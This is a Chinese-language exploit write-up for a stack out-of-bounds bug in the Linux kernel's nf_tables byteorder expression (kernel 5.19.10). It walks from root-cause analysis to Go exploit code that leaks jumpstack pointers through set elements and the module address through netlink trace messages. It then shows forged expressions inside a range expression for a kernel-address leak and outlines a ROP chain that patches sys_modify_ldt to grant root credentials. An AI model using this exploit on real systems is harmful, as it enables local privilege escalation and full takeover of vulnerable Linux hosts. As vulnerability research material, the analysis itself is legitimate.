阅读本篇文章前,读者需要了解nf_tables中的虚拟机构成和执行过程。
漏洞存在于nf_tables模块的byteorder表达式执行过程,可导致栈溢出。
内核版本5.19.10、编译选项选中nf_tables相关选项。不要开启KASAN,会影响栈的布局。
内核启动后先insmod安装libcrc32c.ko再安装nf_tables.ko。
漏洞分析
下面是nft_byteorder_eval代码。这个函数实现了端序的转换。
首先可以看到s和d指针指向一个union,这个union的实际大小由u32而非u16决定。
void nft_byteorder_eval(const struct nft_expr *expr, struct nft_regs *regs, const struct nft_pktinfo *pkt){ const struct nft_byteorder *priv = nft_expr_priv(expr); u32 *src = ®s->data[priv->sreg]; u32 *dst = ®s->data[priv->dreg]; union { u32 u32; u16 u16; } *s, *d; unsigned int i;
在下面case2的情况中,代码会迭代访问s,长度由priv->len / 2决定。
假如传入了8个字节,priv->len/2等于4,那么i最大为3,s指向4字节的union,s[3]指向12字节偏移处。这里开发者忽视了union的存在,以为访问u16就是两个字节偏移。实际上每次迭代,地址偏移都会增加4字节,而不是2字节。
s = (void *)src; d = (void *)dst;
switch (priv->size) { //... case 2: switch (priv->op) { case NFT_BYTEORDER_NTOH: for (i = 0; i < priv->len / 2; i++) d[i].u16 = ntohs((__force __be16)s[i].u16); break; case NFT_BYTEORDER_HTON: for (i = 0; i < priv->len / 2; i++) d[i].u16 = (__force __u16)htons(s[i].u16); break; } break; }}
漏洞利用
漏洞效果
由上面分析可以知道,可以对s和d指针指向的内存进行越界读写。
s和d指向的内存指向regs的内部寄存器。
u32 *src = ®s->data[priv->sreg];u32 *dst = ®s->data[priv->dreg];
regs指针是nft_byteorder_eval的参数,让我们追溯一下regs的来源
expr_call_ops_eval调用nft_byteorder_eval
static void expr_call_ops_eval(const struct nft_expr *expr, struct nft_regs *regs, struct nft_pktinfo pkt){#ifdef CONFIG_RETPOLINE unsigned long e = (unsigned long)expr->ops->eval;#define X(e, fun) \ do { if ((e) == (unsigned long)(fun)) \ return fun(expr, regs, pkt); } while (0) //… X(e, nft_byteorder_eval); X(e, nft_dynset_eval); X(e, nft_rt_get_eval); X(e, nft_bitwise_eval);#undef X#endif / CONFIG_RETPOLINE */ expr->ops->eval(expr, regs, pkt);}
最终可以知道其来自nft_do_chain函数的regs局部变量
unsigned intnft_do_chain(struct nft_pktinfo *pkt, void *priv){ const struct nft_chain *chain = priv, *basechain = chain; const struct nft_rule_dp *rule, *last_rule; const struct net *net = nft_net(pkt); const struct nft_expr *expr, *last; struct nft_regs regs = {}; unsigned int stackptr = 0; struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE]; bool genbit = READ_ONCE(net->nft.gencursor); struct nft_rule_blob *blob; struct nft_traceinfo info; //…
那么我们可以知道这个漏洞越界效果:越界读写regs及其更高地址的内容。
为了能够越界得够多,我们可以看看priv->len、priv->sreg能设置成多少。
这些检测都在nft_byteorder_init中实现,见下面代码注释
下面接着看这两个函数nft_parse_register_load、nft_parse_register_store如何检查
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len){ u32 reg; int err;
err = nft_parse_register(attr, ®);[1] if (err < 0) return err;
err = nft_validate_register_load(reg, len);[2] if (err < 0) return err;
*sreg = reg; return 0;}
int nft_parse_register_store(const struct nft_ctx *ctx, const struct nlattr *attr, u8 *dreg, const struct nft_data *data, enum nft_data_types type, unsigned int len){ int err; u32 reg;
err = nft_parse_register(attr, ®);[1] if (err < 0) return err;
err = nft_validate_register_store(ctx, reg, data, type, len);[3] if (err < 0) return err;
*dreg = reg; return 0;}
我们继续看
[1]nft_parse_register、
[2]nft_validate_register_load、[3]nft_validate_register_store
[1]从下面代码中可以知道我们传给内核的寄存器编号范围是04和823,之后还要进行转换。
如果是04,则再乘上2。如果是823,则减少4。
static int nft_parse_register(const struct nlattr *attr, u32 *preg){ unsigned int reg;
reg = ntohl(nla_get_be32(attr)); switch (reg) { case NFT_REG_VERDICT...NFT_REG_4://0~4 *preg = reg * NFT_REG_SIZE / NFT_REG32_SIZE; break; case NFT_REG32_00...NFT_REG32_15://8~23 *preg = reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; break; default: return -ERANGE; }
return 0;}
比如通过下面代码配置表达式
&expr.Byteorder{ SourceRegister: 8, DestRegister: 18, Op: expr.ByteorderHton, Len: 22, Size: 2,},
因为8在范围8~23,最终表达式的source register编号是4。
[2]reg大于等于4,reg * 4 + len小于等于80(此处的reg是转换后的reg)
static int nft_validate_register_load(enum nft_registers reg, unsigned int len){ if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)//reg大于等于4 return -EINVAL; if (len == 0) return -EINVAL; // reg*4 + len <= 80 if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) return -ERANGE;
return 0;}
[3]reg大于等于4,reg * 4 + len小于等于80
static int nft_validate_register_store(const struct nft_ctx *ctx, enum nft_registers reg, const struct nft_data *data, enum nft_data_types type, unsigned int len){ int err;
switch (reg) { //... default: if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) return -EINVAL; if (len == 0) return -EINVAL; if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) return -ERANGE;
if (data != NULL && type != NFT_DATA_VALUE) return -EINVAL; return 0; }}
可见nft_validate_register_store和
nft_validate_register_load的限制是一样的。
通过静态或者动态调试可以知道,我们越界读写的范围足够到达nft_do_chain函数中与regs相邻的jumpstack第一个元素
下面可以看看jumpstack是做什么的
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
因为虚拟机在下面代码遍历chain、rule时会发生跳转(类似汇编程序中的jump)。
unsigned intnft_do_chain(struct nft_pktinfo *pkt, void *priv){ //...next_rule: regs.verdict.code = NFT_CONTINUE; for (; rule < last_rule; rule = nft_rule_next(rule)) { nft_rule_dp_for_each_expr(expr, last, rule) { //... if (regs.verdict.code != NFT_CONTINUE) break;//发生跳转判断, }
switch (regs.verdict.code) { case NFT_BREAK://如果是NFT_BREAK就不会跳出外层 regs.verdict.code = NFT_CONTINUE; continue; case NFT_CONTINUE: nft_trace_packet(&info, chain, rule, NFT_TRACETYPE_RULE); continue; } break;//如果是NFT_RETURN、NFT_JUMP等就会跳出外层循环 }
jumpstack是用来存放跳转前chain和rule的(类似函数调用栈保存返回地址)。
switch (regs.verdict.code) { case NFT_JUMP: if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE)) return NF_DROP; jumpstack[stackptr].chain = chain; jumpstack[stackptr].rule = nft_rule_next(rule); jumpstack[stackptr].last_rule = last_rule; stackptr++; fallthrough;
下面是struct nft_jumpstack定义
struct nft_jumpstack { const struct nft_chain *chain; const struct nft_rule_dp *rule; const struct nft_rule_dp *last_rule;};
NFT_JUMP可以触发虚拟机入栈的操作
switch (regs.verdict.code) { case NFT_JUMP: if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE)) return NF_DROP; jumpstack[stackptr].chain = chain; jumpstack[stackptr].rule = nft_rule_next(rule); jumpstack[stackptr].last_rule = last_rule; stackptr++; fallthrough;
如果在入栈后越界读写,就能泄漏篡改入栈的chain、rule、last_rule
此效果才是我们本次着重注意的漏洞效果
泄露模块地址
trace传递消息
注意nft_do_chain函数的遍历rule过程中调用了nft_trace_packet,这个nft_trace_packet函数是我们泄漏信息的重要函数。
同时注意它的第四个参数是NFT_TRACETYPE_RULE
for (; rule < last_rule; rule = nft_rule_next(rule)) { nft_rule_dp_for_each_expr(expr, last, rule) { //... }
switch (regs.verdict.code) { //... case NFT_CONTINUE: nft_trace_packet(&info, chain, rule, NFT_TRACETYPE_RULE); continue; } break; }
让我们看看源代码
static inline void nft_trace_packet(struct nft_traceinfo *info, const struct nft_chain *chain, const struct nft_rule_dp *rule, enum nft_trace_types type){ if (static_branch_unlikely(&nft_trace_enabled)) { info->rule = rule; __nft_trace_packet(info, chain, type); }}
static noinline void __nft_trace_packet(struct nft_traceinfo *info, const struct nft_chain *chain, enum nft_trace_types type){ const struct nft_pktinfo *pkt = info->pkt;
if (!info->trace || !pkt->skb->nf_trace) return;
info->chain = chain; info->type = type;//type为NFT_TRACETYPE_RULE
nft_trace_notify(info);}
通过nft_trace_notify源代码可以知道,它的作用是把一些信息通过netlink发送给用户程序。我们可以通过这个功能来泄漏地址信息。
void nft_trace_notify(struct nft_traceinfo *info){ const struct nft_pktinfo *pkt = info->pkt; struct nlmsghdr *nlh; struct sk_buff *skb; unsigned int size; u16 event;
if (!nfnetlink_has_listeners(nft_net(pkt), NFNLGRP_NFTRACE))[1] return; size = nlmsg_total_size(sizeof(struct nfgenmsg)) + nla_total_size(strlen(info->chain->table->name)) + nla_total_size(strlen(info->chain->name)) + nla_total_size_64bit(sizeof(__be64)) + /* rule handle */[2] nla_total_size(sizeof(__be32)) + /* trace type */ nla_total_size(0) + /* VERDICT, nested */ nla_total_size(sizeof(u32)) + /* verdict code */ nla_total_size(sizeof(u32)) + /* id */ nla_total_size(NFT_TRACETYPE_LL_HSIZE) + nla_total_size(NFT_TRACETYPE_NETWORK_HSIZE) + nla_total_size(NFT_TRACETYPE_TRANSPORT_HSIZE) + nla_total_size(sizeof(u32)) + /* iif */ nla_total_size(sizeof(__be16)) + /* iiftype */ nla_total_size(sizeof(u32)) + /* oif */ nla_total_size(sizeof(__be16)) + /* oiftype */ nla_total_size(sizeof(u32)) + /* mark */ nla_total_size(sizeof(u32)) + /* nfproto */ nla_total_size(sizeof(u32)); /* policy */ //... if (nf_trace_fill_rule_info(skb, info))[3] goto nla_put_failure; switch (info->type) { //... case NFT_TRACETYPE_RULE: if (nft_verdict_dump(skb, NFTA_TRACE_VERDICT, info->verdict)) goto nla_put_failure; break; //... } //... nlmsg_end(skb, nlh); nfnetlink_send(skb, nft_net(pkt), 0, NFNLGRP_NFTRACE, 0, GFP_ATOMIC); return; //...}
[1]只有加入netlink的NFNLGRP_NFTRACE组后才能接受到消息
[2]可以把泄漏地址放到handle,空间比较大
[3]具体代码如下,它会把info->rule->handle放入消息中
static int nf_trace_fill_rule_info(struct sk_buff *nlskb, const struct nft_traceinfo *info){ if (!info->rule || info->rule->is_last) return 0;
/* a continue verdict with ->type == RETURN means that this is * an implicit return (end of chain reached). * * Since no rule matched, the ->rule pointer is invalid. */ if (info->type == NFT_TRACETYPE_RETURN && info->verdict->code == NFT_CONTINUE) return 0;
return nla_put_be64(nlskb, NFTA_TRACE_RULE_HANDLE, cpu_to_be64(info->rule->handle), NFTA_TRACE_PAD);}
rule内存布局
既然我们篡改了rule指针的指向地址,那么还是先需要了解rule指向的内存布局
struct nft_rule_dp { u64 is_last:1, dlen:12, handle:42; /* for tracing */ unsigned char data[] attribute((aligned(alignof(struct nft_expr))));};
下面宏告诉我们data地址即是expr地址,那么expr是储存在data中的
#define nft_rule_expr_first(rule) (struct nft_expr *)&rule->data[0]
一个expr接着下一个expr
#define nft_rule_expr_next(expr) ((void *)expr) + expr->ops->size
通过dlen获得last expr
#define nft_rule_expr_last(rule) (struct nft_expr *)&rule->data[rule->dlen]
下面是expr的for循环宏,如果地址等于last expr就推出循环。注意这个last expr是下一个rule的expr。
#define nft_rule_dp_for_each_expr(expr, last, rule) \ for ((expr) = nft_rule_expr_first(rule), (last) = nft_rule_expr_last(rule); \ (expr) != (last); \ (expr) = nft_rule_expr_next(expr))
获取下一个rule的宏
#define nft_rule_next(rule) (void *)rule + sizeof(*rule) + rule->dlen
expr的ops指向函数表
struct nft_expr { const struct nft_expr_ops *ops; unsigned char data[] attribute((aligned(alignof(u64))));};
如果篡改rule指针使得handle对应ops的低位(这里省略了rule的内存布局分析),那么就能泄漏ops的大部分地址,加上高位都是1的前提,我们就知道了ops的地址。ops是全局变量,所以可以推出模块地址。
struct nft_rule { struct list_head list; u64 handle:42, genmask:2, dlen:12, udata:1; unsigned char data[] attribute((aligned(alignof(struct nft_expr))));};
泄漏入栈的指针
首先因为表达式设置是确定的,所以偏移是确定的。我们要让rule指向靠近ops的位置,只需要泄漏chain、rule、last_rule指针,把他们加上一个偏移就能得到目标地址,再越界写来篡改。
可以通过NFT_MSG_GETSETELEM消息来获得set中的element。
/** * enum nf_tables_msg_types - nf_tables netlink message types … * @NFT_MSG_GETSETELEM: get a set element (enum nft_set_elem_attributes)
越界读是把到的16bits数据保存到寄存器及更高地址位置,而寄存器可以把它的值放入set中。
而set的element(包括键和值)我们可以通过NFT_MSG_GETSETELEM消息来获得。这样我们就能泄漏入栈的rule指针了。
exp编写
我们用go来编写,下面是要用到的库
import ( “bytes” “encoding/binary” “fmt” “github.com/google/nftables” “github.com/google/nftables/expr” “github.com/mdlayher/netlink” “github.com/vishvananda/netns” “golang.org/x/sys/unix” “net” “os/exec” “runtime” “unsafe”)
先创建conn对象,用于向nftables添加或删除table、chain等结构。
conn, err := nftables.New(nftables.WithNetNSFd(int(ns))) if err != nil { panic(err) } conn.FlushRuleset()
创建要jump到的table等,通过set可以泄漏少量字节,用于泄漏rule指针低字节地址
my_table := conn.AddTable(&nftables.Table{ Name: "my_table", Family: nftables.TableFamilyIPv4, })
my_set := nftables.Set{ Anonymous: false, Constant: false, Name: "my_set", ID: 1, IsMap: true, Table: my_table, KeyType: nftables.TypeInteger, DataType: nftables.TypeInteger, }
err := conn.AddSet(&my_set, nil) if err != nil { panic(err) }
my_chain := conn.AddChain(&nftables.Chain{ Name: "my_chain", Table: my_table, })
添加可以越界读的rule,最后一个表达式用于开启NFT_META_NFTRACE,这样才能获得Dynset的element。
conn.AddRule(&nftables.Rule{
Table: my_table,
Chain: my_chain,
Exprs: []expr.Any{
&expr.Byteorder{
SourceRegister: 18,
DestRegister: 8,
Op: expr.ByteorderHton,
Len: 24,
Size: 2,
},
&expr.Immediate{
Register: 8,
Data: []byte{0x00, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 14,
SetName: "my_set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x01, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 15,
SetName: "my_set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x02, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 16,
SetName: "my_set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x03, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 17,
SetName: "my_set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x04, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 18,
SetName: "my_set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x05, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 19,
SetName: "my_set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Meta{
Key: unix.NFT_META_NFTRACE,
SourceRegister: true,
Register: 8,
},
},
})
发送所有缓存命令
conn.Flush()
添加jump chain,用于跳到上面的chain,并入栈当前rule等指针。
a := nftables.ChainPolicyAccept jump_chain := conn.AddChain(&nftables.Chain{ Name: "first_chain", Table: my_table, Type: nftables.ChainTypeFilter, Hooknum: nftables.ChainHookInput, Priority: nftables.ChainPriorityFilter, Policy: &a, })
conn.AddRule(&nftables.Rule{ Table: my_table, Chain: jump_chain, Exprs: []expr.Any{ &expr.Immediate{ Register: 8, Data: []byte{0x01, 0x01, 0x01, 0x01}, }, &expr.Verdict{ Kind: expr.VerdictJump, Chain: "my_chain", }, &expr.Verdict{ Kind: expr.VerdictReturn, Chain: "my_chain", }, }, }) conn.Flush()
发一个udp报文,其会进入jump_chain的逻辑,然后代码会跳到my_chain的逻辑
send_packet()
func send_packet() { tx, err := net.DialUDP("udp", nil, &net.UDPAddr{ IP: net.IPv4(127, 0, 0, 1), Port: 9999, })
if err != nil { panic(err) }
tx.Write([]byte{0x66, 0x66, 0x66, 0x66}) tx.Close()}
my_chain的逻辑中会越界读,把chain、rule、last_rule部分指针字节保存到SrcRegData: 14~19位置
SrcRegData: 14~19又作为值储存到Dynset中(键名由SrcRegKey: 8指定)
读取set,计算好地址(具体偏移可以通过动态调试获得),再越界写入
elems, err := conn.GetSetElements(&my_set)
if err != nil { panic(err) }
offsets := []uint16{0, 0, 0, 0, 0, 0} for _, elem := range elems { key := binary.LittleEndian.Uint32(elem.Key) val := binary.BigEndian.Uint16(elem.Val) offsets[key] = val } for i, v := range offsets { fmt.Printf("key:0x%x, val:0x%x\n", i, v) }
chain_low_u16 := offsets[0] chain_high_u16 := offsets[1] rule_low_u16 := offsets[2] rule_hish_u16 := offsets[3] last_rule_low_u16 := offsets[4] fmt.Printf("chain_low_u16:0x%x rule_low_u16:0x%x last_rule_low_u16:0x%x\n", chain_low_u16, rule_low_u16, last_rule_low_u16)
new_chain_low_u16 := chain_low_u16 new_rule_low_u16 := rule_low_u16 - 0x40 - 2 new_last_rule_low_u16 := new_rule_low_u16 + 8
new_chain_low_u16_buff := make([]byte, 2) binary.BigEndian.PutUint16(new_chain_low_u16_buff, new_chain_low_u16) chain_high_u16_buff := make([]byte, 2) binary.BigEndian.PutUint16(chain_high_u16_buff, chain_high_u16) new_rule_low_u16_buff := make([]byte, 2) binary.BigEndian.PutUint16(new_rule_low_u16_buff, new_rule_low_u16) rule_high_u16_buff := make([]byte, 2) binary.BigEndian.PutUint16(rule_high_u16_buff, rule_hish_u16) new_last_rule_low_u16_buff := make([]byte, 2) binary.BigEndian.PutUint16(new_last_rule_low_u16_buff, new_last_rule_low_u16) new_last_rule_low_u16_buff2 := make([]byte, 2) binary.LittleEndian.PutUint16(new_last_rule_low_u16_buff2, new_last_rule_low_u16)
conn.FlushChain(my_chain) conn.Flush() conn.AddRule(&nftables.Rule{ Table: my_table, Chain: my_chain, Exprs: []expr.Any{ &expr.Immediate{ Register: 14, Data: new_chain_low_u16_buff, }, &expr.Immediate{ Register: 15, Data: chain_high_u16_buff, }, &expr.Immediate{ Register: 16, Data: new_rule_low_u16_buff, }, &expr.Immediate{ Register: 17, Data: rule_high_u16_buff, }, &expr.Immediate{ Register: 18, Data: new_last_rule_low_u16_buff, }, &expr.Immediate{ Register: 8, Data: new_last_rule_low_u16_buff2, }, &expr.Byteorder{ SourceRegister: 8, DestRegister: 18, Op: expr.ByteorderHton, Len: 22, Size: 2, }, &expr.Meta{ Key: unix.NFT_META_NFTRACE, SourceRegister: true, Register: 8, }, }, })
fmt.Printf("overwrite chain rule last_rule\n") conn.Flush() send_packet()
泄漏handle,即泄漏ops地址,最后推出模块地址
traceconn, err := netlink.Dial(unix.NETLINK_NETFILTER, &netlink.Config{}) if err != nil { panic(err) } defer traceconn.Close() err = traceconn.JoinGroup(unix.NFNLGRP_NFTRACE) if err != nil { panic(err) } send_packet() for { messages, err := traceconn.Receive() if err != nil { panic(err) } for _, m := range messages { ad, err := netlink.NewAttributeDecoder(m.Data[4:]) if err != nil { panic(err) } ad.ByteOrder = binary.BigEndian for ad.Next() { if ad.Type() == unix.NFTA_TRACE_RULE_HANDLE { if ad.Uint64() > 0x3fe00000000 { ops_value := (ad.Uint64() >> 3) | (0xffffffffc0000000) fmt.Printf(“ops: 0x%x\n”, ops_value) module_base_address = ops_value - 0x28000 fmt.Printf(“nf_tables.ko .text address: 0x%x\n”, module_base_address) conn.FlushTable(my_table) return module_base_address } } } } } return module_base_address
泄露内核地址
观察到比jumpstack更高地址的位置处,有一个内核地址,如果能够泄漏这个地址就能推出内核基地址。
但是我们的越界读不够长,需要使用其他办法。
可以在nft_range_expr(可控空间大)中伪造一个byteorder。表达式初始化时才进行检查,所以不用担心伪造字段数值过大。
struct nft_range_expr { struct nft_data data_from;//可控16字节 struct nft_data data_to;//16字节 u8 sreg; u8 len; enum nft_range_ops op:8;};
data_from正好可以存放rule头部和nft_byteorder_ops(通过之前泄漏的模块基地址+偏移得到)
struct nft_rule_dp { u64 is_last:1, dlen:12, handle:42; /* for tracing */ unsigned char data[] attribute((aligned(alignof(struct nft_expr))));};
data_to存放伪造的nft_byteorder结构体
下面我们可以回顾nft_byteorder
struct nft_byteorder { u8 sreg; u8 dreg; enum nft_byteorder_ops op:8; u8 len; u8 size;};
我们要读8个字节,如果选择size为4
case 4: switch (priv->op) { case NFT_BYTEORDER_NTOH: for (i = 0; i < priv->len / 4; i++) d[i].u32 = ntohl((__force __be32)s[i].u32); break; case NFT_BYTEORDER_HTON: for (i = 0; i < priv->len / 4; i++) d[i].u32 = (__force __u32)htonl(s[i].u32); break; } break;
那么priv->len / 4=2,priv->len为8
dreg可以选择10
sreg可以通过调试来确定
op可以选择NFT_BYTEORDER_NTOH
为了让nft_do_chain的循环优雅地退出,还是再回顾一下nft_do_chain源代码
假如rule指针指向伪造的nft_byteorder,当nft_byteorder_eval执行完后,会回到循环头部
nft_rule_dp_for_each_expr(expr, last, rule)
再回顾这个循环头
#define nft_rule_dp_for_each_expr(expr, last, rule) \ for ((expr) = nft_rule_expr_first(rule), (last) = nft_rule_expr_last(rule); \ (expr) != (last); \ (expr) = nft_rule_expr_next(expr))
因为是循环刚结束,所以先执行(expr) = nft_rule_expr_next(expr)
#define nft_rule_expr_next(expr) ((void *)expr) + expr->ops->size
因为这个size我们篡改不了,所以要在新expr的位置再伪造一个
作者选择了nft_meta
struct nft_meta { enum nft_meta_keys key:8; u8 len; union { u8 dreg; u8 sreg; };};
ops我们选择nft_meta_get_ops
static const struct nft_expr_ops nft_meta_get_ops = { .type = &nft_meta_type, .size = NFT_EXPR_SIZE(sizeof(struct nft_meta)), .eval = nft_meta_get_eval, .init = nft_meta_get_init, .dump = nft_meta_get_dump, .reduce = nft_meta_get_reduce, .validate = nft_meta_get_validate, .offload = nft_meta_get_offload,};
data_to的高8字节存放nft_meta_get_ops
sreg、len、op分别正好可以存放key、len、dreg
u8 sreg; <------------> enum nft_meta_keys key:8; u8 len; <------------> u8 len; enum nft_range_ops op:8; <-----> union { u8 dreg; u8 sreg; };
byteorder的ops->size正好是0x10,正好可以让下一个expr指向range的尾部,下一个expr原本就应该是range的尾部。简直完美。
这样,内核地址就保存到了虚拟机的寄存器。接下来通过上面方法泄漏即可。
为了缩短篇幅,exp编写略。相信读者很容易就能模仿上面的exp来编写。
控制流劫持
伪造nft_payload表达式,把rop链写到nft_do_chain函数返回地址的位置
struct nft_payload { enum nft_payload_bases base:8; u8 offset; u8 len; u8 dreg;};
nft_payload_eval作用是获得我们发送的报文的一部分字节,并复制到一个地址。
void nft_payload_eval(const struct nft_expr *expr, struct nft_regs *regs, const struct nft_pktinfo *pkt){ const struct nft_payload *priv = nft_expr_priv(expr); const struct sk_buff *skb = pkt->skb; u32 *dest = ®s->data[priv->dreg];[1] int offset;
if (priv->len % NFT_REG32_SIZE) dest[priv->len / NFT_REG32_SIZE] = 0;
switch (priv->base) { //... case NFT_PAYLOAD_TRANSPORT_HEADER:[2] if (!(pkt->flags & NFT_PKTINFO_L4PROTO) || pkt->fragoff) goto err; offset = nft_thoff(pkt); break; //... } offset += priv->offset;
if (skb_copy_bits(skb, offset, dest, priv->len) < 0)[3] goto err; return;err: regs->verdict.code = NFT_BREAK;}
[1]这里因为priv->dreg是伪造的,所以dest可以控制到返回地址
[2]设置offset到传输层字节
[3]开始从报文的offset字节偏移处开始复制
我们把rop链字节放到报文合适位置再发送即可
接下来原文作者的rop链如下:
通过set_memory_rw来设置系统调用sys_modify_ldt代码可写
使用copy_from_user_priv来修改sys_modify_ldt代码
修改内容为commit_creds(prepare_kernel_creds(0))
最后调用do_task_dead结束进程
随后,其他进程调用sys_modify_ldt都相当于是调用commit_creds(prepare_kernel_creds(0))